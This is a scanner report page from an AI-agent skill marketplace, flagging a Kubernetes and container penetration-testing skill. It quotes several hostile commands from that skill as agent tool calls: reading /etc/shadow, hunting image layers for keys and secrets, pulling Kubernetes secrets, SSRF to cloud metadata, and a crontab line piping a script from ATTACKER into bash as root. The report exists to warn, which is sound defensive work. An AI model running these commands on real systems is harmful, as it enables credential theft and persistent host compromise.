ShulkwiSEC/bb-huge / skills/curated/container-k8s-security
container-k8s-security
FlaggedContainer and Kubernetes security assessment. Tests container escape vectors, Docker/containerd socket exposure, K8s RBAC misconfigurations, pod security violations, exposed API servers, etcd access, service account token abuse, image layer secrets, private registry attacks, SSRF to metadata services, cross-namespace network bypass, CIS benchmarks, crypto miner detection, resource exhaustion, and admission controller gaps. Both external and internal (compromised pod) perspectives. Uses trivy, kube-bench, kubectl, nuclei, dive, amicontained, and docker-bench-security. Covers OWASP Kubernetes Top 10 and all 22 Kubernetes Goat attack scenarios.
Security report
FlaggedStatic analysis of one exact version. It reduces risk and shows evidence; it does not certify that a skill is safe.
- Commit
a4355129341c98ea904c060fe87f25f25c2a70ad- Content hash
c18ba3148e24b30d43cdbff4afddc212721fe1204aded833acbf8710fa7826d7- Scanned
- 2026-11-17
- Scanner version
- skillxone-scan-1.0.0
- Policy version
- 0.1-draft
- Decision
- 6 open critical or high findings.
- Verification expires
- Not applicable
Findings (2 critical, 4 high, 1 medium, 1 low)
The skill refers to system password files, a location that holds private data or credentials. The same file also sends data over the network, so severity was raised one level.
cat /mounted-host-path/etc/shadow 2>/dev/nullSuggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill refers to SSH keys, a location that holds private data or credentials. The same file also sends data over the network, so severity was raised one level.
kali(command="sh -c 'cd /tmp && tar -xf image.tar && for layer in */layer.tar; do echo \"=== $layer ===\"; tar -tf \"$layer\" | grep -iE \"secret|password|key|token|credential|.env|.git|id_rsa|.pem\" 2>/dev/null; done'")Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
A script is downloaded and run in one step, so whatever the server returns at that moment is executed without review.
kali(command="curl -sk https://TARGET:6443/api/v1/pods 2>/dev/null | python3 -c 'import json,sys; d=json.load(sys.stdin); [print(f\"{p[\"metadata\"][\"namespace\"]}/{p[\"metadata\"][\"name\"]}: {[c[\"image\"] for c in p[\"spec\"][\"contain…Suggested fix: Download the script, check it (and its checksum or signature), then run the saved copy. Prefer a package manager.
A script is downloaded and run in one step, so whatever the server returns at that moment is executed without review.
kali(command="curl -sk https://TARGET:6443/api/v1/secrets 2>/dev/null | python3 -c 'import json,sys; d=json.load(sys.stdin); print(f\"Secrets accessible: {len(d.get(\"items\",[]))}\"); [print(f\" {s[\"metadata\"][\"namespace\"]}/{s[\"metad…Suggested fix: Download the script, check it (and its checksum or signature), then run the saved copy. Prefer a package manager.
A script is downloaded and run in one step, so whatever the server returns at that moment is executed without review.
kali(command="curl -s http://REGISTRY:5000/v2/REPO_NAME/manifests/TAG -H 'Accept: application/vnd.docker.distribution.manifest.v2+json' 2>/dev/null | python3 -c 'import json,sys; d=json.load(sys.stdin); config_digest=d.get(\"config\",{}).g…Suggested fix: Download the script, check it (and its checksum or signature), then run the saved copy. Prefer a package manager.
A script is downloaded and run in one step, so whatever the server returns at that moment is executed without review.
kali(command="curl -s http://REGISTRY:5000/v2/REPO_NAME/blobs/CONFIG_DIGEST 2>/dev/null | python3 -c 'import json,sys; d=json.load(sys.stdin); env=d.get(\"config\",{}).get(\"Env\",[]); [print(f\"ENV: {e}\") for e in env]' 2>/dev/null")Suggested fix: Download the script, check it (and its checksum or signature), then run the saved copy. Prefer a package manager.
The cloud instance metadata service is contacted. On a cloud machine it hands out credentials. Severity lowered from high because it appears in prose rather than code.
| Cloud Instance Metadata | T1552.005 | SSRF to 169.254.169.254, cloud credential theft |Suggested fix: Remove access to the metadata service.
A script is downloaded and run in one step, so whatever the server returns at that moment is executed without review. Severity lowered from high because the surrounding text warns against it.
echo "* * * * * root curl http://ATTACKER/shell.sh | bash" >> /mounted-host-path/etc/crontabSuggested fix: Download the script, check it (and its checksum or signature), then run the saved copy. Prefer a package manager.
Checks run
- prompt-injection
- dangerous-commands
- credentials
- network
- file-access
- integrity
Checks skipped
- dependencies: No dependency manifest in the skill directory.
- gitleaks: gitleaks is not installed on this host.
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit. | Stars: 470k | Updated | Claude CodeCodex | Verified | Install |
| rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure. | Stars: 470k | Updated | Claude CodeCodex | Verified | Install |
| rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics. | Stars: 470k | Updated | Claude CodeCodex | Verified | Install |
| ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first. | Stars: 194k | Updated | Claude CodeCodex | Verified | Install |